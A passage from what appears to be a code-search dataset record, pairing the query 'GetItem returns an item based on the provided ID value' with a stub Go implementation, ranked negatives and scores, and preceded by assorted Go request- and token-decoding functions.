regexp.MustCompile(`\\s*$`).ReplaceAll(tokData, []byte{})\n\tif db100 {\n\t\tfmt.Fprintf(os.Stderr, \"Token len: %v bytes\\n\", len(tokData))\n\t}\n\n\t// Parse the token. Load the key from command line option\n\ttoken, err := jwt.Parse(string(tokData), func(t *jwt.Token) (interface{}, error) {\n\t\tdata, err := loadData(keyFile)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif isEs(keyType) {\n\t\t\treturn jwt.ParseECPublicKeyFromPEM(data)\n\t\t} else if isRs(keyType) {\n\t\t\treturn jwt.ParseRSAPublicKeyFromPEM(data)\n\t\t} else {\n\t\t\terr = fmt.Errorf(\"Error signing token - confg error: keyType=[%s]\", keyType)\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn data, nil\n\t})\n\n\t// Print some debug data\n\tif db100 && token != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Header:\\n%v\\n\", token.Header)\n\t\tfmt.Fprintf(os.Stderr, \"Claims:\\n%v\\n\", token.Claims)\n\t}\n\n\t// Print an error if we can't parse for some reason\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Couldn't parse token: %v\", err)\n\t}\n\n\t// Is token invalid?\n\tif !token.Valid {\n\t\treturn \"\", fmt.Errorf(\"Token is invalid\")\n\t}\n\n\tif db100 {\n\t\tfmt.Fprintf(os.Stderr, \"Token Claims: %s\\n\", godebug.SVarI(token.Claims))\n\t}\n\n\t// {\"auth_token\":\"f5d8f6ae-e2e5-42c9-83a9-dfd07825b0fc\"}\n\ttype GetAuthToken struct {\n\t\tAuthToken string `json:\"auth_token\"`\n\t}\n\tvar gt GetAuthToken\n\tcl := godebug.SVar(token.Claims)\n\tif db100 {\n\t\tfmt.Fprintf(os.Stderr, \"Claims just before -->>%s<<--\\n\", cl)\n\t}\n\terr = json.Unmarshal([]byte(cl), &gt)\n\tif err == nil {\n\t\tif db100 {\n\t\t\tfmt.Fprintf(os.Stderr, \"Success: %s -- token [%s] \\n\", err, gt.AuthToken)\n\t\t}\n\t\treturn gt.AuthToken, nil\n\t} else {\n\t\tif db100 {\n\t\t\tfmt.Fprintf(os.Stderr, \"Error: %s -- Unable to unmarsal -->>%s<<--\\n\", err, cl)\n\t\t}\n\t\treturn \"\", err\n\t}\n\n}", "func decodeCreateTagRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\treq := endpoint.CreateTagRequest{}\n\terr := json.NewDecoder(r.Body).Decode(&req)\n\treturn req, err\n}", "func decodeDeleteIndustryRequest(_ context.Context, request interface{}) (interface{}, error) {\n\treq := request.(*pb.DeleteIndustryRequest)\n\treturn endpoints.DeleteIndustryRequest{ID: req.Id}, nil\n}", "func DecodeGRPCRefreshTokenRequest(_ context.Context, grpcReq interface{}) (interface{}, error) {\n\treq := grpcReq.(*pb.RefreshTokenReq)\n\treturn req, nil\n}", "func getToken(body string) string {\n\tvar f interface{}\n\tif err := json.Unmarshal([]byte(body), &f); err != nil {\n\t\tlog.Panicf(\"Receieved malformed JSON body, %v\\n\", body)\n\t}\n\tm := f.(map[string]interface{})\n\treturn m[\"token\"].(string)\n}", "func decodeGRPCNameRequest(_ context.Context, grpcReq interface{}) (interface{}, error) {\n\treq := grpcReq.(*pb.NameRequest)\n\treturn loginendpoint.LoginRequest{N: string(req.N)}, nil\n}", "func (t *Jwt) DecodeToken(token string) (userID uint, err error) {\n\t// get map claims\n\tclaims, err := t.claimsFromToken(token)\n\tif err != nil {\n\t\treturn\n\t}\n\tif _, ok := claims[\"userID\"]; !ok {\n\t\terr = errors.New(\"token is not expected\")\n\t\treturn\n\t}\n\tuserID = uint(claims[\"userID\"].(float64))\n\treturn userID, err\n}", "func DecodeListMineRequest(mux goahttp.Muxer, decoder func(*http.Request) goahttp.Decoder) func(*http.Request) (interface{}, error) {\n\treturn func(r *http.Request) (interface{}, error) {\n\t\tvar (\n\t\t\tauth string\n\t\t\terr error\n\t\t)\n\t\tauth = r.Header.Get(\"Authorization\")\n\t\tif auth == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingFieldError(\"Authorization\", \"header\"))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayload := NewListMinePayload(auth)\n\t\tif strings.Contains(payload.Auth, \" \") {\n\t\t\t// Remove authorization scheme prefix (e.g. \"Bearer\")\n\t\t\tcred := strings.SplitN(payload.Auth, \" \", 2)[1]\n\t\t\tpayload.Auth = cred\n\t\t}\n\n\t\treturn payload, nil\n\t}\n}", "func DecodeListMineRequest(mux goahttp.Muxer, decoder func(*http.Request) goahttp.Decoder) func(*http.Request) (interface{}, error) {\n\treturn func(r *http.Request) (interface{}, error) {\n\t\tvar (\n\t\t\tauth string\n\t\t\terr error\n\t\t)\n\t\tauth = r.Header.Get(\"Authorization\")\n\t\tif auth == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingFieldError(\"Authorization\", \"header\"))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayload := NewListMinePayload(auth)\n\t\tif strings.Contains(payload.Auth, \" \") {\n\t\t\t// Remove authorization scheme prefix (e.g. \"Bearer\")\n\t\t\tcred := strings.SplitN(payload.Auth, \" \", 2)[1]\n\t\t\tpayload.Auth = cred\n\t\t}\n\n\t\treturn payload, nil\n\t}\n}", "func getTokenFromReq(r *http.Request) string {\n\theader := r.Header.Get(\"Authorization\")\n\ttoken := strings.Split(header, \" \")\n\tif len(token) > 1 {\n\t\treturn token[1]\n\t}\n\treturn \"\"\n}", "func (t *ExpireDelegationTokenResponse) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.ErrorCode, err = d.Int16()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.ExpiryTimestampMs, err = d.Int64()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.ThrottleTimeMs, err = d.Int32()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func decodeCalculatorRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\tvars := mux.Vars(r)\n\n\ta, ok := vars[\"a\"]\n\tif !ok {\n\t\treturn nil, ErrBadRouting\n\t}\n\n\tb, ok := vars[\"b\"]\n\tif !ok {\n\t\treturn nil, ErrBadRouting\n\t}\n\n\taint, _ := strconv.Atoi(a)\n\tbint, _ := strconv.Atoi(b)\n\treturn CalculatorRequest{\n\t\tA: aint,\n\t\tB: bint,\n\t}, nil\n}", "func (t *SaslAuthenticateRequest) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.AuthBytes, err = d.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func DecodeResumeToken(t []byte) (uint64, error) {\n\ts, n := binary.Uvarint(t)\n\tif n <= 0 {\n\t\treturn 0, fmt.Errorf(\"invalid resume token: %v\", t)\n\t}\n\treturn s, nil\n}", "func ExtractToken(r *http.Request) string {\n\tkeys := r.URL.Query()\n\ttoken := keys.Get(\"token\")\n\tif token != \"\" {\n\t\treturn token\n\t}\n\tbearToken := r.Header.Get(\"Authorization\")\n\t//normally Authorization the_token_xxx\n\tstrArr := strings.Split(bearToken, \" \")\n\tif len(strArr) == 2 {\n\t\treturn strArr[1]\n\t}\n\treturn \"\"\n}", "func decodeHTTPGetRoleRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\tvar req endpoints.GetRoleRequest\n\treq.RoleID = bone.GetValue(r, \"id\")\n\treturn req, nil\n}", "func decodeDeleteKeyPersonRequest(_ context.Context, request interface{}) (interface{}, error) {\n\treq := request.(*pb.DeleteKeyPersonRequest)\n\treturn endpoints.DeleteKeyPersonRequest{ID: req.Id}, nil\n}", "func (t *DescribeDelegationTokenResponse) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.ErrorCode, err = d.Int16()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Tokens\n\tif n, err := d.ArrayLength(); err != nil {\n\t\treturn err\n\t} else if n >= 0 {\n\t\tt.Tokens = make([]DescribedDelegationToken41, n)\n\t\tfor i := 0; i < n; i++ {\n\t\t\tvar item DescribedDelegationToken41\n\t\t\tif err := (&item).Decode(d, version); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tt.Tokens[i] = item\n\t\t}\n\t}\n\tt.ThrottleTimeMs, err = d.Int32()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func (t *RequestHeader) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.RequestApiKey, err = d.Int16()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.RequestApiVersion, err = d.Int16()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.CorrelationId, err = d.Int32()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif version >= 1 {\n\t\tt.ClientId, err = d.String()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}", "func DecodeEchoerRequest(mux goahttp.Muxer, decoder func(*http.Request) goahttp.Decoder) func(*http.Request) (any, error) {\n\treturn func(r *http.Request) (any, error) {\n\t\tvar (\n\t\t\ttoken string\n\t\t\terr error\n\t\t)\n\t\ttoken = r.Header.Get(\"Authorization\")\n\t\tif token == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingFieldError(\"token\", \"header\"))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayload := NewEchoerPayload(token)\n\t\tif strings.Contains(payload.Token, \" \") {\n\t\t\t// Remove authorization scheme prefix (e.g. \"Bearer\")\n\t\t\tcred := strings.SplitN(payload.Token, \" \", 2)[1]\n\t\t\tpayload.Token = cred\n\t\t}\n\n\t\treturn payload, nil\n\t}\n}", "func getTokenFromResponse(r *http.Request) string {\n\tconst prefix = \"Bearer \"\n\n\tauth, ok := r.Header[\"Authorization\"]\n\tif !ok {\n\t\treturn \"\"\n\t}\n\n\tfor _, v := range auth {\n\t\tif strings.HasPrefix(v, prefix) {\n\t\t\treturn strings.TrimPrefix(v, prefix)\n\t\t}\n\t}\n\n\treturn \"\"\n}", "func decodeDeleteRequest(_ context.Context, r *http1.Request) (interface{}, error) {\n\tvars := mux.Vars(r)\n\tid, ok := vars[\"id\"]\n\tif !ok {\n\t\treturn nil, errors.New(\"not a valid ID\")\n\t}\n\treq := endpoint.DeleteRequest{\n\t\tId: id,\n\t}\n\treturn req, nil\n}", "func decodeDeleteRequest(_ context.Context, r *http1.Request) (interface{}, error) {\n\tvars := mux.Vars(r)\n\tid, ok := vars[\"id\"]\n\tif !ok {\n\t\treturn nil, errors.New(\"not a valid ID\")\n\t}\n\treq := endpoint.DeleteRequest{\n\t\tId: id,\n\t}\n\treturn req, nil\n}", "func decodeRequest(r io.Reader) *plugin.CodeGeneratorRequest {\n\tvar req plugin.CodeGeneratorRequest\n\tinput, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\tlog.Fatal(\"unable to read stdin: \" + err.Error())\n\t}\n\tif err := proto.Unmarshal(input, &req); err != nil {\n\t\tlog.Fatal(\"unable to marshal stdin as protobuf: \" + err.Error())\n\t}\n\treturn &req\n}", "func (t *HeartbeatRequest) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.GroupId, err = d.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.GenerationId, err = d.Int32()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.MemberId, err = d.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif version >= 3 {\n\t\tt.GroupInstanceId, err = d.String()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}", "func decodeDeletePostRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\treq := endpoint.DeletePostRequest{}\n\terr := json.NewDecoder(r.Body).Decode(&req)\n\treturn req, err\n}", "func DecodeDeleteRequest(mux goahttp.Muxer, decoder func(*http.Request) goahttp.Decoder) func(*http.Request) (interface{}, error) {\n\treturn func(r *http.Request) (interface{}, error) {\n\t\tvar (\n\t\t\tbody DeleteRequestBody\n\t\t\terr error\n\t\t)\n\t\terr = decoder(r).Decode(&body)\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\treturn nil, goa.MissingPayloadError()\n\t\t\t}\n\t\t\treturn nil, goa.DecodePayloadError(err.Error())\n\t\t}\n\t\terr = ValidateDeleteRequestBody(&body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar (\n\t\t\ttoken string\n\t\t)\n\t\ttoken = r.Header.Get(\"Authorization\")\n\t\tif token == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingFieldError(\"Authorization\", \"header\"))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayload := NewDeletePayload(&body, token)\n\t\tif strings.Contains(payload.Token, \" \") {\n\t\t\t// Remove authorization scheme prefix (e.g. \"Bearer\")\n\t\t\tcred := strings.SplitN(payload.Token, \" \", 2)[1]\n\t\t\tpayload.Token = cred\n\t\t}\n\n\t\treturn payload, nil\n\t}\n}", "func decodeCreateBookRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\t// Get bearer from headers\n\tbearer := parseBearer(r)\n\n\t///////////////////\n\t// Parse body\n\tvar createBookRequest createBookRequest\n\tif err := json.NewDecoder(r.Body).Decode(&createBookRequest); err != nil {\n\t\tfmt.Println(\"Error decoding book request: \", err)\n\t\treturn nil, err\n\t}\n\n\tcreateBookRequest.Bearer = bearer\n\n\treturn createBookRequest, nil\n}", "func TokenFromAuthHeader(r *http.Request) (string, error) {\n\t// Look for an Authorization header\n\tif ah := r.Header.Get(\"Authorization\"); ah != \"\" {\n\t\t// Should be a bearer token\n\t\tif len(ah) > 6 && strings.ToUpper(ah[0:6]) == \"BEARER\" {\n\t\t\treturn ah[7:], nil\n\t\t}\n\t}\n\treturn \"\", errors.New(\"No token in the HTTP request\")\n}", "func decodeReqIntoTeam(w http.ResponseWriter, req *http.Request) (team models.Team) {\n\tif err := json.NewDecoder(req.Body).Decode(&team); err != nil {\n\t\tutils.RespondWithAppError(w, err, \"Invalid team data\", 500)\n\t\treturn\n\t}\n\treturn\n}", "func decodeRegisterRequest(_ context.Context, r interface{}) (interface{}, error) {\n\treq := r.(*pb.RegisterRequest)\n\t//进行数据的转换\n\tvar user = service.UserInfo{\n\t\tId:req.User.Id,\n\t\tPhone:req.User.Phone,\n\t\tPassword:req.User.Password,\n\t\tAge:req.User.Age,\n\n\t}\n\treturn endpoint.RegisterRequest{\n\t\tUser:user,\n\t},nil\n}", "func VerifyToken(tokenStr string, secret_name string) (string, error) {\n\t var result = \"\"\n\t //Retrieve secret value from secrets manager\n\t secret, err := getSecretValue(secret_name);\n\t verifyToken, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {\n\t\t return[]byte(secret), nil\n\t })\n\t if err == nil && verifyToken.Valid{\n\t\t result = \"Valid\"\n\t } else {\n\t\t result = \"Invalid\"\n\t }\n\t log.Println(\"VerifyToken result =\", result)\n\n\t return result, err\n}", "func processTokenLookupResponse(ctx context.Context, logger hclog.Logger, inmemSink sink.Sink, req *SendRequest, resp *SendResponse) error {\n\t// If auto-auth token is not being used, there is nothing to do.\n\tif inmemSink == nil {\n\t\treturn nil\n\t}\n\tautoAuthToken := inmemSink.(sink.SinkReader).Token()\n\n\t// If lookup responded with non 200 status, there is nothing to do.\n\tif resp.Response.StatusCode != http.StatusOK {\n\t\treturn nil\n\t}\n\n\t_, path := deriveNamespaceAndRevocationPath(req)\n\tswitch path {\n\tcase vaultPathTokenLookupSelf:\n\t\tif req.Token != autoAuthToken {\n\t\t\treturn nil\n\t\t}\n\tcase vaultPathTokenLookup:\n\t\tjsonBody := map[string]interface{}{}\n\t\tif err := json.Unmarshal(req.RequestBody, &jsonBody); err != nil {\n\t\t\treturn err\n\t\t}\n\t\ttokenRaw, ok := jsonBody[\"token\"]\n\t\tif !ok {\n\t\t\t// Input error will be caught by the API\n\t\t\treturn nil\n\t\t}\n\t\ttoken, ok := tokenRaw.(string)\n\t\tif !ok {\n\t\t\t// Input error will be caught by the API\n\t\t\treturn nil\n\t\t}\n\t\tif token != \"\" && token != autoAuthToken {\n\t\t\t// Lookup is performed on the non-auto-auth token\n\t\t\treturn nil\n\t\t}\n\tdefault:\n\t\treturn nil\n\t}\n\n\tlogger.Info(\"stripping auto-auth token from the response\", \"path\", req.Request.URL.Path, \"method\", req.Request.Method)\n\tsecret, err := api.ParseSecret(bytes.NewReader(resp.ResponseBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to parse token lookup response: %v\", err)\n\t}\n\tif secret == nil || secret.Data == nil {\n\t\treturn nil\n\t}\n\tif secret.Data[\"id\"] == nil && secret.Data[\"accessor\"] == nil {\n\t\treturn nil\n\t}\n\n\tdelete(secret.Data, \"id\")\n\tdelete(secret.Data, \"accessor\")\n\n\tbodyBytes, err := json.Marshal(secret)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.Response.Body != nil {\n\t\tresp.Response.Body.Close()\n\t}\n\tresp.Response.Body = ioutil.NopCloser(bytes.NewReader(bodyBytes))\n\tresp.Response.ContentLength = int64(len(bodyBytes))\n\n\t// Serialize and re-read the reponse\n\tvar respBytes bytes.Buffer\n\terr = resp.Response.Write(&respBytes)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to serialize the updated response: %v\", err)\n\t}\n\n\tupdatedResponse, err := http.ReadResponse(bufio.NewReader(bytes.NewReader(respBytes.Bytes())), nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to deserialize the updated response: %v\", err)\n\t}\n\n\tresp.Response = &api.Response{\n\t\tResponse: updatedResponse,\n\t}\n\tresp.ResponseBody = bodyBytes\n\n\treturn nil\n}", "func DecodeDeleteRequest(mux goahttp.Muxer, decoder func(*http.Request) goahttp.Decoder) func(*http.Request) (interface{}, error) {\n\treturn func(r *http.Request) (interface{}, error) {\n\t\tvar (\n\t\t\tstationID int32\n\t\t\tauth string\n\t\t\terr error\n\n\t\t\tparams = mux.Vars(r)\n\t\t)\n\t\t{\n\t\t\tstationIDRaw := params[\"stationId\"]\n\t\t\tv, err2 := strconv.ParseInt(stationIDRaw, 10, 32)\n\t\t\tif err2 != nil {\n\t\t\t\terr = goa.MergeErrors(err, goa.InvalidFieldTypeError(\"stationID\", stationIDRaw, \"integer\"))\n\t\t\t}\n\t\t\tstationID = int32(v)\n\t\t}\n\t\tauth = r.Header.Get(\"Authorization\")\n\t\tif auth == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingFieldError(\"Authorization\", \"header\"))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayload := NewDeletePayload(stationID, auth)\n\t\tif strings.Contains(payload.Auth, \" \") {\n\t\t\t// Remove authorization scheme prefix (e.g. \"Bearer\")\n\t\t\tcred := strings.SplitN(payload.Auth, \" \", 2)[1]\n\t\t\tpayload.Auth = cred\n\t\t}\n\n\t\treturn payload, nil\n\t}\n}", "func (m *tokenParser) ParseToken(tk string) (map[string]interface{}, error) {\n\t//url decode\n\tb, err := base64.URLEncoding.DecodeString(tk)\n\tif err != nil {\n\t\treturn nil, errors.New(\"jwt: \" + err.Error())\n\t}\n\n\tindex := len(b) - m.hashSize\n\tif index <= 0 {\n\t\treturn nil, ErrMacInvalid\n\t}\n\tdata := b[:index]\n\tmac := b[index:]\n\n\t//verify mac, mac must create here for thread-safe\n\thash := hmac.New(m.hashFunc, m.hashKey)\n\tif !VerifyMac(hash, data, mac) {\n\t\treturn nil, ErrMacInvalid\n\t}\n\t//decrypt\n\tif m.block != nil {\n\t\tdata = Decrypt(m.block, data)\n\t\tif data == nil {\n\t\t\treturn nil, ErrDecrypt\n\t\t}\n\t}\n\t//decode json\n\tjsonMap := values.JsonMap{}\n\tif err = jsonMap.Decode(data); err != nil {\n\t\treturn nil, errors.New(\"jwt: \" + err.Error())\n\t}\n\n\t//check timestamp\n\tif m.maxAge > 0 {\n\t\tt := jsonMap.ValueOf(CreateTimeKey).Int64()\n\t\tif t == 0 {\n\t\t\treturn nil, ErrTimestamp\n\t\t}\n\t\td := TimeNow().Unix() - t\n\t\tif d < 0 {\n\t\t\treturn nil, ErrTimestamp\n\t\t}\n\t\tif d > int64(m.maxAge) {\n\t\t\treturn jsonMap, ErrExpired\n\t\t}\n\t}\n\n\treturn jsonMap, nil\n}", "func (k *Client) fetchToken(ctx context.Context, authRequest interface{}) (string, error) {\n\td, err := json.Marshal(authRequest)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\trequest, err := http.NewRequest(\"POST\", k.URL+\"/auth/tokens\", bytes.NewReader(d))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\trequest = request.WithContext(ctx) // TODO(mblotniak): use http.NewRequestWithContext after go 1.13 upgrade\n\thttputil.SetContextHeaders(request)\n\trequest.Header.Set(contentTypeHeader, applicationJSONValue)\n\n\tresp, err := k.HTTPDoer.Do(request)\n\tif err != nil {\n\t\treturn \"\", httputil.ErrorFromResponse(err, resp)\n\t}\n\tdefer resp.Body.Close() // nolint: errcheck\n\n\tif err = httputil.CheckStatusCode([]int{200, 201}, resp.StatusCode); err != nil {\n\t\treturn \"\", httputil.ErrorFromResponse(err, resp)\n\t}\n\n\treturn resp.Header.Get(xSubjectTokenHeader), nil\n}", "func decodeJWSToken(token string) ([]byte, error) {\n\ts, err := jose.ParseSigned(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\td, err := s.Verify(publicKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}", "func Decode(publicKey []byte, token Token, v interface{}) error {\n\tverified := ed25519.Verify(publicKey, token.Data, token.Signature)\n\tif !verified {\n\t\treturn fmt.Errorf(\"%w: %v (public key: %v)\", ErrInvalidSignature, token, publicKey)\n\t}\n\n\terr := json.Unmarshal(token.Data, v)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}" ]
[ "0.68870664", "0.66117424", "0.6522489", "0.6479375", "0.6381417", "0.62694895", "0.62654114", "0.62093854", "0.6146002", "0.6115867", "0.6093569", "0.6093476", "0.6093476", "0.60903925", "0.6080506", "0.59667265", "0.5951391", "0.5901449", "0.58642566", "0.58464855", "0.5814257", "0.5808364", "0.5807425", "0.5799057", "0.57910925", "0.5779112", "0.5772249", "0.5771458", "0.5719533", "0.5698875", "0.5690919", "0.5669989", "0.56625074", "0.565763", "0.5640874", "0.5638313", "0.56361926", "0.56196994", "0.56118995", "0.56095564", "0.5604788", "0.5574199", "0.556603", "0.55571556", "0.5552632", "0.55503", "0.55405027", "0.55207014", "0.5502977", "0.5473696", "0.5471021", "0.546663", "0.5461312", "0.5461312", "0.5459609", "0.5459182", "0.5452207", "0.54515773", "0.54451054", "0.54400086", "0.5424571", "0.54195064", "0.5414834", "0.5412472", "0.54041827", "0.5399365", "0.5397587", "0.53929985", "0.5392593", "0.53762496", "0.53762496", "0.5370058", "0.5357595", "0.53534204", "0.5346413", "0.5342144", "0.5339774", "0.5332594", "0.5327948", "0.53260565", "0.5324446", "0.5318664", "0.53022885", "0.5301076", "0.5301076", "0.5300221", "0.52990085", "0.52982485", "0.5295193", "0.52942723", "0.5294086", "0.5293171", "0.52916664", "0.5289079", "0.5287669", "0.52849483", "0.52777815", "0.5266542", "0.5262716", "0.523944" ]
0.72312915
0
GetItem returns an item based on the provided ID value
func (i *itemsService) GetItem(itemID string)(*domain.Item, *utils.ApplicationError){ return nil, &utils.ApplicationError { Message: "not implemented", StatusCode: http.StatusBadRequest, Code: "bad_request", } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (i Inventory) GetItemById(id int) (Item, *ErrHandler) {\n var item Item\n err := i.Db.GetItemById(id,&item)\n return item, err\n}", "func GetItem(c Context) {\n\tidentifer, err := strconv.Atoi(c.Param(\"id\"))\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tres, err := db.SelectItem(int64(identifer))\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, res)\n}", "func (db *JSONLite) Get(id string) (item Item, err error) {\n\tparts := strings.Split(id, \"--\")\n\tdiscriminator := parts[0]\n\n\tstmt, err := db.cursor.Prepare(fmt.Sprintf(\"SELECT * FROM \\\"%s\\\" WHERE uid=?\", discriminator)) // #nosec\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdb.sqlMutex.RLock()\n\trows, err := stmt.Query(id)\n\tdb.sqlMutex.RUnlock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\titems, err := db.rowsToItems(rows)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(items) > 0 {\n\t\treturn items[0], nil\n\t}\n\treturn nil, errors.New(\"item does not exist\")\n}", "func (pg *PostgresqlDb)GetItemById(id int, item *domain.Item) *domain.ErrHandler {\n if pg.conn == nil {\n return &domain.ErrHandler{7, \"func (pg PostgresqlDb)\", \"getItem(inventory *domain.Inventory)\", \"\"}\n }\n recordset := pg.conn.QueryRow(\"SELECT id, name, quantity FROM inventory WHERE id=$1;\", id)\n var err domain.ErrHandler\n switch err := recordset.Scan(&item.Id, &item.Name, &item.Quantity); err {\n case sql.ErrNoRows:\n return &domain.ErrHandler{13, \"func (pg PostgresqlDb)\", \"getItem(inventory *domain.Inventory)\", \"\"}\n case nil:\n return nil\n }\n return &domain.ErrHandler{1, \"func (pg PostgresqlDb)\", \"getItem(inventory *domain.Inventory)\", err.Error()}\n}", "func GetItem(ctx Context) {\n\tid, err := strconv.Atoi(ctx.Param(\"id\"))\n\tif err != nil {\n\t\tctx.JSON(http.StatusInternalServerError, nil)\n\t\treturn\n\t}\n\titem, err := db.SelectItem(int64(id))\n\tif err != nil {\n\t\tctx.JSON(http.StatusInternalServerError, nil)\n\t\treturn\n\t}\n\tctx.JSON(http.StatusOK, item)\n}", "func (s *Stack) getItemByID(id uint64) (*Item, error) {\n\t// Check if empty or out of bounds.\n\tif s.Length() == 0 {\n\t\treturn nil, ErrEmpty\n\t} else if id <= s.tail || id > s.head {\n\t\treturn nil, ErrOutOfBounds\n\t}\n\n\t// Get item from database.\n\tvar err error\n\titem := &Item{ID: id, Key: idToKey(id)}\n\tif err = s.db.View(func(txn *badger.Txn) error {\n\t\tbadgerItem, err := txn.Get(item.Key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif returnedValue, err := badgerItem.ValueCopy(nil); err != nil {\n\t\t\treturn err\n\t\t} else {\n\t\t\titem.Value = returnedValue\n\t\t}\n\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn item, nil\n}", "func (s *InventoryApiService) GetItem(id string, w http.ResponseWriter) error {\n\tctx := context.Background()\n\tr, err := s.db.GetItem(ctx, id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn EncodeJSONResponse(r, nil, w)\n}", "func (r *FinancialItemRepository) GetItemByPlaidID(tx *sql.Tx, userID int64, plaidItemID string) (*models.FinancialItem, error) {\n\titem := models.FinancialItem{}\n\terr := tx.QueryRow(\"SELECT * FROM items WHERE user_id=$1 AND plaid_item_id=$2\", userID, plaidItemID).Scan(\n\t\t&item.ID, &item.PlaidItemID, &item.PlaidAccessToken, &item.UserID, &item.PlaidInstitutionID,\n\t\t&item.InstitutionName, &item.InstitutionColor, &item.InstitutionLogo,\n\t\t&item.ErrorCode, &item.ErrorDevMessage, &item.ErrorUserMessage)\n\treturn &item, err\n}", "func (r *FinancialItemRepository) GetItemByID(tx *sql.Tx, userID int64, itemID int64) (*models.FinancialItem, error) {\n\titem := models.FinancialItem{}\n\terr := tx.QueryRow(\"SELECT * FROM items WHERE user_id=$1 AND id=$2\", userID, itemID).Scan(\n\t\t&item.ID, &item.PlaidItemID, &item.PlaidAccessToken, &item.UserID, &item.PlaidInstitutionID,\n\t\t&item.InstitutionName, &item.InstitutionColor, &item.InstitutionLogo,\n\t\t&item.ErrorCode, &item.ErrorDevMessage, &item.ErrorUserMessage)\n\treturn &item, err\n}", "func GetItem(c *gin.Context) {\n\tvar item model.ItemJson\n\tid := c.Param(\"id\")\n\tif err := util.DB.Table(\"items\").Where(\"id = ?\", id).First(&item).Error; err != nil {\n\t\tc.JSON(http.StatusNotFound, util.FailResponse(http.StatusNotFound, \"Item not found\"))\n\t} else {\n\t\tc.JSON(http.StatusOK, util.SuccessResponse(http.StatusOK, \"Success\", item))\n\t}\n}", "func GetItem(c *gin.Context) {\n\tvar item models.Item\n\tif err := models.DB.Where(\"id = ?\", c.Param(\"id\")).First(&item).Error; err != nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": \"Record not found!\"})\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, gin.H{\"data\": item})\n}", "func (r *r) Get(id string) (*internal.Item, error) {\n\tres, err := r.redisClient.Get(id).Result()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting item: %w\", err)\n\t}\n\tvar item internal.Item\n\terr = json.Unmarshal([]byte(res), &item)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unmarshalling item: %w\", err)\n\t}\n\n\treturn &item, nil\n}", "func (library *Library) GetItem(id string, itemType int) (interface{}, error) {\n\tif !library.ItemExists(id, itemType) {\n\t\treturn nil, os.ErrNotExist\n\t}\n\n\tswitch itemType {\n\tcase LibraryItemSourceGroup, LibraryItemMetricGroup:\n\t\treturn library.Groups[id], nil\n\n\tcase LibraryItemScale:\n\t\treturn library.Scales[id], nil\n\n\tcase LibraryItemUnit:\n\t\treturn library.Units[id], 